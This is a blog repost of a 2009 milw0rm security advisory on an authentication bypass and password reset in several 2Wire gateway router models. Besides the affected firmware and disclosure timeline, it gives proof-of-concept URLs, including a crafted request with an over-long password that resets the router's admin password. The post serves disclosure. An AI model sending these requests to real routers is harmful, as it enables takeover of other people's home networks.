miércoles, 12 de agosto de 2009
2WIRE GATEWAY AUTHENTICATION BYPASS & PASSWORD RESET
2WIRE GATEWAY AUTHENTICATION BYPASS & PASSWORD RESET (08/04/09)
=============================================
DESCRIPTION
-----------------
There is an authentication bypass vulnerability in page=CD35_SETUP_01 that
allows you to set a new password even if the password was previously set.
By setting a new password with more than 512 characters the password gets
reset and next time you access the router you will be prompted for a new
password.
VULNERABLE
----------------
2Wire 2071 Gateway
2Wire 1800HW
2Wire 1701HG
Firmware
5.29.51
3.17.5
3.7.1
NOT VULNERABLE
--------------------
Firmware
5.29.135.5 or later
DISCLOSURE TIMELINE
-------------------------
03/27/2009 - 2wire Contacted no satisfactory response
07/11/2009 - Sent complete details to 2wire no response
07/17/2009 - Sent advisory with video demo to 2wire ticket status escalated, but no response
08/02/2009 - Made public @ Defcon 17
EXPLOIT/POC
-----------------
Authentication Bypass - just use this page to set a new password
http://gateway.2wire.net?xslt?page=CD35_SETUP_01
Video: http://www.hakim.ws/2wire/2wire_CD35_Bypass.ogv
Password Reset - using the same form but sending a password > 512 characters
http://gateway.2wire.net/xslt?PAGE=CD35_SETUP_01_POST&password1=hkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkh
kmhkmhkmhkmhkmhkmhkmhkm&password2=hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkhkmhkmhkmhkmhkmhkmhkmhkm
Video: http://www.hakim.ws/2wire/2wire_CD35_Reset.ogv
GREETS
------------
sdc lightos pcp nitr0us 0xf alt3kx darko DeadSector Etal gwolf h4ckult1m4t3
hackerss hd k00l kaz Kbrown mendozaaaa nahual Napa nediam raza-mexicana roa
Setting sla.ckers thornmaker tr3w vandida vi0let xianur0 Yield
Comunidad Underground de Mexico : https://www.underground.org.mx
h k m
http://www.hakim.ws
# milw0rm.com [2009-08-12]
Suscribirse a:
Comentarios de la entrada (Atom)
Páginas
Etiquetas
INTERNET
(459)
newsweek
(305)
SEGURIDAD
(224)
software
(136)
HACK
(86)
GOOGLE
(47)
Hacker
(46)
Geek
(41)
hardware
(36)
WINDOWS
(34)
Hackers
(31)
CRACK
(29)
facebook
(29)
video
(28)
DESCARGA
(27)
videos
(26)
Celulares
(25)
MICROSOFT
(22)
Informatica
(21)
apple
(19)
GRATIS
(18)
technology
(18)
virus
(18)
exploit
(17)
computación
(16)
informatico
(16)
web
(15)
cracker
(14)
INALAMBRICO
(13)
WINDOWS 7
(13)
noticias
(11)
MSN
(10)
termino
(10)
ACTUALIZACION
(9)
Gamer
(9)
LapTops
(9)
Mac
(9)
PASSWORD
(9)
WINDOWS XP
(9)
dns
(9)
firefox
(9)
juegos
(9)
FOTOS
(8)
cientifico
(8)
iphone
(8)
WEP
(7)
antivirus
(7)
bibliografia
(7)
Desencriptar
(6)
INFINITUM
(6)
wifi
(6)
youtube
(6)
Craker
(5)
Culiacan
(5)
DESMOSTRACION
(5)
TELEFONIA
(5)
gmail
(5)
messenger
(5)
DIRECTA
(4)
DOWNLOAD
(4)
ESPAÑOL
(4)
XBOX
(4)
xss
(4)
Glosario
(3)
HTML
(3)
WPA
(3)
anuncios
(3)
ataques
(3)
hosting
(3)
hotmail
(3)
Guru
(2)
ajax
(2)
wpa2
(2)
No hay comentarios.:
Publicar un comentario
Déjanos tu comentario, nos permitirá mejorar.
¿Qué opinas de este tema?
¿Tienes alguna duda o sugerencia?
¿Te parece adecuado y completo este tema?
¿Falta información? ¿Cual?